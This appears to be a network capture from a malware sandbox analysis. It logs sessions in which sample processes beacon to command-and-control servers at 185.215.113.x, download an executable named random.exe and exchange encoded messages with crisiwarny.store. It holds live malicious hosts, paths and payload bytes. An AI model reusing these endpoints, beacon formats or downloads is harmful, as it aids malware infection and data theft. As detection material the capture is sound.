Oct 26, 2024 05:56:02.909662008 CEST	112	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 26, 2024 05:56:02.909774065 CEST	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 26, 2024 05:56:02.909828901 CEST	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 26, 2024 05:56:02.909878969 CEST	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 26, 2024 05:56:02.909915924 CEST	1236	IN	Data Raw: e4 3e 96 4d b7 75 f6 a0 57 ab f7 db e3 3b f7 ad a2 2f f3 ad 03 76 e8 bb df 9b ac 16 83 56 16 0d fc eb f6 50 fe d4 e5 94 7f cf 19 20 98 7f 3a b8 13 3a 40 d1 df 22 1f 00 49 87 de 70 14 77 a5 11 12 bb f7 df be 3b 5b c9 fe 93 85 d1 9f 6d 09 ab 11 97 Data Ascii: >MuW;/vVP ::@"Ipw;[mle#g<E_kG\|\DPco$?fk'[cZGm:%k^{y_\kF"Zn^\h^qplZ_lJ87Zg/
Oct 26, 2024 05:56:02.909949064 CEST	848	IN	Data Raw: eb 43 60 6d 19 61 b3 e2 e1 cd e7 b2 d7 15 5d 2f 36 4f e2 4a 06 07 ca 59 3b 4e 99 9f 72 43 31 0b 24 43 be fc ad 75 3c e9 2a 62 47 f5 99 58 66 8e 8d 6c a2 cd 24 d6 c2 e3 b5 c0 f3 98 54 41 d7 91 02 0b 35 ea 92 3d a0 87 e8 64 be aa 23 cb 9d 4e e6 0e Data Ascii: C`ma]/6OJY;NrC1$Cu<bGXfl$TA5=d#NR &KaR-s/>.!d)t,E:l)o],%{+EM[{S)%+@OYV`4OPS6@O79KxH
Oct 26, 2024 05:56:02.910006046 CEST	1236	IN	Data Raw: 56 9c ec e6 50 13 4c 65 fb 11 60 89 b0 9c dc de 0a 13 4e b2 07 9b b2 29 d4 b3 e4 61 35 ad d9 7c 90 c8 7f a7 69 5b 58 2c 98 22 9d 91 35 51 b2 9d 5f 44 1a e7 20 65 ad 75 4d 18 dc 36 94 91 74 ff fb f5 fa 3c 12 0c f5 0d c8 c7 79 31 c2 5f 18 0a 10 8d Data Ascii: VPLe`N)a5\|i[X,"5Q_D euM6t<y1_xCV)h"+}[PP\|N~8cTUlU\W._#.WwtR:TnC^o}aQWsabm~@X`O47}?q&[
Oct 26, 2024 05:56:02.910038948 CEST	1236	IN	Data Raw: cd d4 e8 df 0f 53 6c 16 d9 e9 7b 27 e0 ef 19 45 58 4f 5d e2 d2 27 ec 65 e0 2e b1 b0 df e8 c1 80 b5 4c 32 d2 ee ec ad 22 2c c5 9c 1e 66 11 0f d9 70 e2 68 9d 02 41 90 2f f7 fc 66 01 78 d5 51 aa c7 4e 4d 4d cf 6f 8b 6d 01 8b 9a 07 51 d0 d7 c7 bf bf Data Ascii: Sl{'EXO]'e.L2",fphA/fxQNMMomQB?/uW'Aq!y #A{VWjV)u)g,F3{%*\|8m5oueo:+Y4Xvya[8v0Iqx[UE]ptCB1y
Oct 26, 2024 05:56:02.910073042 CEST	424	IN	Data Raw: f1 bf 1e d0 20 da d9 f4 9a ed e5 36 21 73 e5 10 fa 0e 82 41 e0 f7 9f 17 f6 9e 9d 9d 50 94 f7 f0 ed 05 19 18 46 5b 2c f1 7b 1e ee aa 0d 1b aa ad a6 cf 06 90 b0 6d 06 2f f8 67 6b 17 ce 7d 4a a0 58 b0 c6 41 c5 37 40 0d 8c bb b0 06 20 96 07 fd da 98 Data Ascii: 6!sAPF[,{m/gk}JXA7@ u&0Ag_pb_W=xpWOMc&\|WkdS:2d~K=ckH f4mW;XL&{F9A6U3H
Oct 26, 2024 05:56:02.915486097 CEST	1236	IN	Data Raw: 80 17 d6 5d 3b 4d a0 15 15 3a 4a 03 89 0f 25 1a 19 f6 e2 dc 7d a3 b2 81 e6 76 a1 c6 35 1e d1 e8 e8 0e ef 03 28 6c a0 cc b7 15 9f 5e d8 b4 60 3d 21 e9 4e 75 79 a5 03 0a 9f 43 5a 06 68 bc 72 ee e2 0e 4f 7d 80 d8 e6 a0 cb ce ec 09 dc 4a 6c 79 e5 4b Data Ascii: ];M:J%}v5(l^`=!NuyCZhrO}JlyKslu)X=P2yhb-_=l,} cA22_&+fu1^\pD],!=.\Eu%K_ ['H_RZDOO[0{!u494' \W&P!gw8r]

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.4	50056	185.215.113.43	80	5440	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 26, 2024 05:56:02.302423000 CEST	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Oct 26, 2024 05:56:03.229774952 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 26 Oct 2024 03:56:03 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.4	50059	185.215.113.43	80	5440	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 26, 2024 05:56:04.980940104 CEST	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 41 42 34 32 43 37 36 42 32 35 45 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7AB42C76B25E82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Oct 26, 2024 05:56:05.853041887 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 26 Oct 2024 03:56:05 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.4	50061	185.215.113.37	80	7764	C:\Users\user\AppData\Local\Temp\1001608001\num.exe

Timestamp	Bytes transferred	Direction	Data
Oct 26, 2024 05:56:05.985017061 CEST	89	OUT	GET / HTTP/1.1 Host: 185.215.113.37 Connection: Keep-Alive Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port
19	192.168.2.4	50063	185.215.113.43	80

Timestamp	Bytes transferred	Direction	Data
Oct 26, 2024 05:56:07.486238956 CEST	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Oct 26, 2024 05:56:08.422327995 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 26 Oct 2024 03:56:08 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
20	192.168.2.4	50064	185.215.113.16	80

Timestamp	Bytes transferred	Direction	Data
Oct 26, 2024 05:56:08.731578112 CEST	204	OUT	GET /mine/random.exe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Host: 185.215.113.16
Oct 26, 2024 05:56:09.679946899 CEST	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 26 Oct 2024 03:56:09 GMT Content-Type: application/octet-stream Content-Length: 1887744 Last-Modified: Sat, 26 Oct 2024 03:45:05 GMT Connection: keep-alive ETag: "671c65c1-1cce00" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 a7 bb 2d 49 e3 da 43 1a e3 da 43 1a e3 da 43 1a b8 b2 40 1b ed da 43 1a b8 b2 46 1b 42 da 43 1a 36 b7 47 1b f1 da 43 1a 36 b7 40 1b f5 da 43 1a 36 b7 46 1b 96 da 43 1a b8 b2 47 1b f7 da 43 1a b8 b2 42 1b f0 da 43 1a e3 da 42 1a 35 da 43 1a 78 b4 4a 1b e2 da 43 1a 78 b4 bc 1a e2 da 43 1a 78 b4 41 1b e2 da 43 1a 52 69 63 68 e3 da 43 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 9c 56 f0 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 18 00 ea 04 00 00 ca 01 00 00 00 00 00 00 b0 4a 00 00 10 00 00 00 00 05 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$-ICCC@CFBC6GC6@C6FCGCBCB5CxJCxCxACRichCPELVfJ@J@WkJJ @.rsrc@.idata @ 0*@ujtayirb0@rmnowbouJ@.taggant0J"@
Oct 26, 2024 05:56:09.680020094 CEST	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 26, 2024 05:56:09.680075884 CEST	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 26, 2024 05:56:09.680110931 CEST	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 26, 2024 05:56:09.680166006 CEST	1236	IN	Data Raw: 3e 90 66 91 ef 3e 97 5b 90 71 7a 8d 33 75 f8 f7 e0 1d df 4c 69 cb a5 ff 01 eb 01 b2 fe 4f f6 dc a2 93 89 06 a0 53 72 d1 fb 5a 5a cf 7f 6c 69 f5 4f 5b b6 11 4c 79 25 7c a1 5c e6 60 f9 be f6 fb 7f cf 4a c0 17 1a 1b fd f1 9e f4 ce bf 5c 2e c3 f0 fa Data Ascii: >f>[qz3uLiOSrZZliO[Ly%\|\`J\.\X~O^^'>k>MuW;/vVP ::@"Ipw;[mle#g<E_kG\|\DPco$
Oct 26, 2024 05:56:09.680200100 CEST	1236	IN	Data Raw: 8e 8f cc 41 cf a7 26 8f e7 b3 ba 12 27 2a 7c 16 60 8d f2 24 f1 ce 9a 99 70 88 f6 1c 84 d3 95 d1 6f 6d 4e c9 c1 33 ff 87 82 b1 a2 c4 58 4f 16 a1 d3 ee 76 bc f9 9e fb cd d7 4d 75 84 fe bb 7a dd 9f 8f 00 c1 df e3 b0 ef 23 a2 f7 28 d0 12 db b0 75 ec Data Ascii: A&'\|`$pomN3XOvMuz#(ua#!cCkK_AIvC`ma]/6OJY;NrC1$Cu<*bGXfl$TA5=d#NR &KaR-s/>.!
Oct 26, 2024 05:56:09.680234909 CEST	1236	IN	Data Raw: 0c 66 9d 35 b8 64 9a 9b bb 5a 1f 53 f1 6c be fe 26 02 89 f1 6a df c3 21 5f 75 cd 1d a8 5d be d6 cc 0c a8 e2 bb 72 e9 af a7 bc fa 9d 9e f7 e3 8e 8d e3 9c 3e 77 52 7c c2 b0 33 8b cf 1c 3f 49 3d 77 74 60 6a 71 f7 da 9c d6 f0 5e 9f b7 80 a1 9b 2b af Data Ascii: f5dZSl&j!_u]r>wR\|3?I=wt`jq^++7ulWy.:<RZmM~}`%]b*8\|ZpPZMEDl&~)Sg?kOe8 <Ga<c61y+$o9fe`
Oct 26, 2024 05:56:09.680272102 CEST	1236	IN	Data Raw: 26 35 f4 16 f2 f3 60 c2 e3 4f 52 79 27 15 26 b8 57 80 6c ae ad 03 f9 7c f1 d5 72 34 d2 9a cf 1b dc 57 c9 17 0e fb 4c ad 54 f7 92 01 1c 44 33 b5 f7 cb 01 8a 62 b1 f3 d2 a4 ca 6a 9b d6 12 1e 60 f2 9d 2d 00 ee d5 11 16 f1 0f 02 58 ba 76 c3 c2 64 68 Data Ascii: &5`ORy'&Wl\|r4WLTD3bj`-Xvdhqq>1i\@DpR%t3N,}vDwdbJLDWUS,.D&Mf.!ixl>RV;?ho"m`W\|Z&"[fg@Nwu
Oct 26, 2024 05:56:09.680306911 CEST	1236	IN	Data Raw: 82 2f e9 50 21 09 0a 9a ab 36 da a8 2f 6c fe 40 84 2d 35 23 dc 77 96 56 32 2b 3b 86 1c 21 0f 9d 0f 53 6e 9b d3 4c 5c 8a dd 0c 67 bf 87 66 96 99 b8 2f b0 f9 0c 89 de d2 46 4c 68 99 f5 64 a8 e1 b3 6a b6 73 08 1c 0e 42 38 99 1d fb e0 db dd 8d 0a 29 Data Ascii: /P!6/l@-5#wV2+;!SnL\gf/FLhdjsB8)K>IN&3)0#9.@cG_J3g%I)SN@CL];M:J%}v5(l^`=!NuyCZhrO}JlyKslu)X=P2yhb
Oct 26, 2024 05:56:09.680341005 CEST	1236	IN	Data Raw: e6 61 56 06 ee 9d 32 5c fe f9 57 d4 59 da 66 f0 33 75 4b e9 b7 0f e0 5d d3 3d f9 f2 50 31 68 ae 1d 30 a5 95 15 15 07 13 f2 55 5e 14 d6 db 64 10 5d 98 9a d1 fb 5b d9 b4 91 d4 10 d5 8f 1e 3b 77 a4 23 e9 64 cf 61 fc e1 4f 7a cf 7c 17 1e 10 85 3e a7 Data Ascii: aV2\WYf3uK]=P1h0U^d][;w#daOz\|>y?]bM#`wUUrvPYyG]MQz9##QdSM?d'z#:Wh*4:yaQ[,]=^2pY\PiS
Oct 26, 2024 05:56:09.685764074 CEST	1120	IN	Data Raw: c7 8d 12 26 b6 95 de 8d 64 91 d3 a1 c7 df 62 ad 19 33 79 1a ea e4 de 1c 68 7f 20 b9 63 23 e7 24 50 b4 f7 74 e3 6f 7a bc 92 f1 6f 5e a6 e3 66 46 77 12 1b 15 e4 1f 6b 17 f8 dc 3f b5 dd df 2c b3 80 a6 8b bf 19 37 25 b2 70 bc 8e 1f 2a 77 07 41 15 23 Data Ascii: &db3yh c#$Ptozo^fFwk?,7%pwA# (s+(egku6ASV&}s\jgH#~Wt(-~E=5n9%/vswi+V<1LvblVX2UyF/h3j KbI"i;s

Session ID	Source IP	Source Port	Destination IP	Destination Port
21	192.168.2.4	50065	185.215.113.43	80

Timestamp	Bytes transferred	Direction	Data
Oct 26, 2024 05:56:09.940753937 CEST	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 41 42 34 32 43 37 36 42 32 35 45 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7AB42C76B25E82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Oct 26, 2024 05:56:10.858433008 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 26 Oct 2024 03:56:10 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
22	192.168.2.4	50066	185.215.113.43	80

Timestamp	Bytes transferred	Direction	Data
Oct 26, 2024 05:56:12.487123013 CEST	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Oct 26, 2024 05:56:13.409858942 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 26 Oct 2024 03:56:13 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49730	104.21.95.91	443	7488	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-26 03:54:03 UTC	263	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: crisiwarny.store
2024-10-26 03:54:03 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
2024-10-26 03:54:03 UTC	1006	IN	HTTP/1.1 200 OK Date: Sat, 26 Oct 2024 03:54:03 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=5ak7f7g31fheajjb95s0c0td4j; expires=Tue, 18 Feb 2025 21:40:42 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=IcqvQh9veF4biJKyhIK0GZSYWHtLZXsitL%2FDHktQPeGP5LqDY14GTAx0HZwBV2bLbHsW%2FyxkbSqoTm8FaGnbrxqh29b2ndXVHoURXrpRBNCqoLt%2Bhf1tVp8K9NEroyatnDgN"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d8780bbfe1a22bc-CDG alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=116421&sent=6&recv=7&lost=0&retrans=0&sent_bytes=2837&recv_bytes=907&delivery_rate=24881&cwnd=32&unsent_bytes=0&cid=6d519836a4a32d8f&ts=458&x=0"
2024-10-26 03:54:03 UTC	7	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a Data Ascii: 2ok
2024-10-26 03:54:03 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	49731	104.21.95.91	443	7488	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-26 03:54:04 UTC	264	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 52 Host: crisiwarny.store
2024-10-26 03:54:04 UTC	52	OUT	Data Raw: 61 63 74 3d 72 65 63 69 76 65 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e 64 61 72 79 79 26 6a 3d Data Ascii: act=recive_message&ver=4.0&lid=4SD0y4--legendaryy&j=
2024-10-26 03:54:05 UTC	1010	IN	HTTP/1.1 200 OK Date: Sat, 26 Oct 2024 03:54:04 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=m1q3f8b164t74l3a0rjqn8fpdh; expires=Tue, 18 Feb 2025 21:40:43 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=y%2FwaLbfIM1zyxYP%2BNoEPyrHdk5jQKus62Fh%2BlW7t8bCScpeF7OPn7a%2BRrG3yMtzqsjjMUfG29CHInvNg%2FNSZarf3y3WZ0hYiIuYnZF7TUItaV2zaPe1ThrRchLDDsxseeq5b"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d8780c3bd868865-LHR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=103853&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2839&recv_bytes=952&delivery_rate=27882&cwnd=32&unsent_bytes=0&cid=14491b1b2b75ff6b&ts=441&x=0"
2024-10-26 03:54:05 UTC	359	IN	Data Raw: 34 65 33 0d 0a 49 50 75 55 43 39 32 6a 4f 69 49 70 2f 58 59 65 33 66 76 42 77 75 4d 38 2f 44 33 79 77 53 7a 56 4c 67 74 6c 47 33 68 34 6e 73 64 62 32 65 49 70 35 35 63 57 41 46 71 59 56 43 53 70 69 62 53 6e 7a 78 36 64 57 64 44 37 53 72 52 43 65 41 41 33 57 67 37 7a 35 52 71 64 39 57 65 75 78 68 59 41 54 49 56 55 4a 49 61 41 34 36 65 4e 48 73 59 66 6c 36 74 4f 74 45 4a 70 42 48 41 58 43 50 4b 6b 53 4a 66 7a 59 37 6a 41 58 6b 4e 46 6b 42 4e 37 75 4a 71 72 72 49 70 52 6c 46 44 51 37 51 36 77 56 43 6c 66 4f 54 55 64 36 71 5a 74 6d 75 64 67 2f 39 34 57 57 51 75 59 47 44 7a 6e 32 61 43 6e 67 56 43 61 57 5a 6d 70 52 4c 31 4b 61 41 46 78 43 42 48 34 72 30 69 5a 38 47 4b 79 79 55 70 4f 54 35 63 59 66 62 4b 61 34 2b 37 42 57 59 59 66 79 4f 4d 64 68 55 39 34 46 6d Data Ascii: 4e3IPuUC92jOiIp/XYe3fvBwuM8/D3ywSzVLgtlG3h4nsdb2eIp55cWAFqYVCSpibSnzx6dWdD7SrRCeAA3Wg7z5Rqd9WeuxhYATIVUJIaA46eNHsYfl6tOtEJpBHAXCPKkSJfzY7jAXkNFkBN7uJqrrIpRlFDQ7Q6wVClfOTUd6qZtmudg/94WWQuYGDzn2aCngVCaWZmpRL1KaAFxCBH4r0iZ8GKyyUpOT5cYfbKa4+7BWYYfyOMdhU94Fm
2024-10-26 03:54:05 UTC	899	IN	Data Raw: 51 66 65 61 32 53 71 71 32 4d 58 70 4e 56 6e 36 42 4f 73 45 5a 6a 43 48 4d 65 46 2f 47 6a 51 70 6d 32 4a 2f 2f 47 51 41 41 54 33 7a 64 35 72 35 36 76 74 73 4e 6b 33 6b 44 65 75 67 36 77 51 43 6c 66 4f 52 49 66 2f 36 5a 4a 6c 76 56 68 74 4e 4e 59 55 6b 32 53 45 57 36 35 6e 4b 32 71 67 6b 79 55 55 5a 61 67 52 37 78 46 62 41 42 39 57 6c 53 38 6f 6c 72 5a 72 69 6d 65 7a 46 4e 4d 51 59 67 55 50 4b 44 58 75 75 43 47 55 74 34 48 30 4b 64 50 73 30 31 74 43 58 63 65 46 76 71 72 54 35 62 77 59 37 2f 47 55 6b 68 44 6e 68 6c 33 73 4a 6d 6d 72 59 56 59 6b 6c 36 56 34 77 44 33 53 33 46 48 49 56 6f 30 2b 36 5a 51 32 38 4e 71 73 63 39 66 56 67 75 41 57 6d 58 2f 6e 71 2f 67 32 52 36 51 57 70 2b 78 54 36 56 4a 5a 78 56 31 48 78 7a 78 70 6b 79 5a 38 32 36 79 7a 31 35 48 53 Data Ascii: Qfea2Sqq2MXpNVn6BOsEZjCHMeF/GjQpm2J//GQAAT3zd5r56vtsNk3kDeug6wQClfORIf/6ZJlvVhtNNYUk2SEW65nK2qgkyUUZagR7xFbAB9WlS8olrZrimezFNMQYgUPKDXuuCGUt4H0KdPs01tCXceFvqrT5bwY7/GUkhDnhl3sJmmrYVYkl6V4wD3S3FHIVo0+6ZQ28Nqsc9fVguAWmX/nq/g2R6QWp+xT6VJZxV1HxzxpkyZ826yz15HS
2024-10-26 03:54:05 UTC	1369	IN	Data Raw: 33 66 38 39 0d 0a 47 64 72 4f 58 73 61 32 4c 57 35 42 54 6c 61 78 4f 74 6b 31 6e 44 58 4a 61 56 4c 79 69 57 74 6d 75 4b 5a 44 4d 53 46 4a 42 6c 41 55 2b 69 70 71 74 72 6f 5a 49 33 6b 44 65 75 67 36 77 51 43 6c 66 4f 52 45 63 38 4b 6c 43 6e 2b 52 6e 73 4e 4e 53 55 6b 2b 52 45 48 43 78 6b 4b 36 76 68 45 79 61 58 34 4b 69 53 37 42 43 5a 42 56 38 57 6c 53 38 6f 6c 72 5a 72 69 6d 46 39 56 39 51 57 70 68 57 53 62 79 58 72 61 65 58 48 6f 45 52 69 65 4e 4a 75 77 77 78 52 33 6f 57 46 2f 57 67 54 59 76 38 5a 62 37 54 58 30 6c 43 6c 52 56 79 73 4a 4b 76 70 5a 4e 56 6b 56 65 66 6f 6b 4f 36 52 32 30 48 4f 56 52 61 2b 37 30 43 77 62 5a 49 73 73 35 4b 51 31 72 64 49 58 2b 78 6c 36 53 32 77 55 48 51 52 74 43 6b 51 76 63 55 4b 51 5a 31 46 68 76 7a 6f 30 69 52 39 57 69 74 Data Ascii: 3f89GdrOXsa2LW5BTlaxOtk1nDXJaVLyiWtmuKZDMSFJBlAU+ipqtroZI3kDeug6wQClfOREc8KlCn+RnsNNSUk+REHCxkK6vhEyaX4KiS7BCZBV8WlS8olrZrimF9V9QWphWSbyXraeXHoERieNJuwwxR3oWF/WgTYv8Zb7TX0lClRVysJKvpZNVkVefokO6R20HOVRa+70CwbZIss5KQ1rdIX+xl6S2wUHQRtCkQvcUKQZ1Fhvzo0iR9Wit
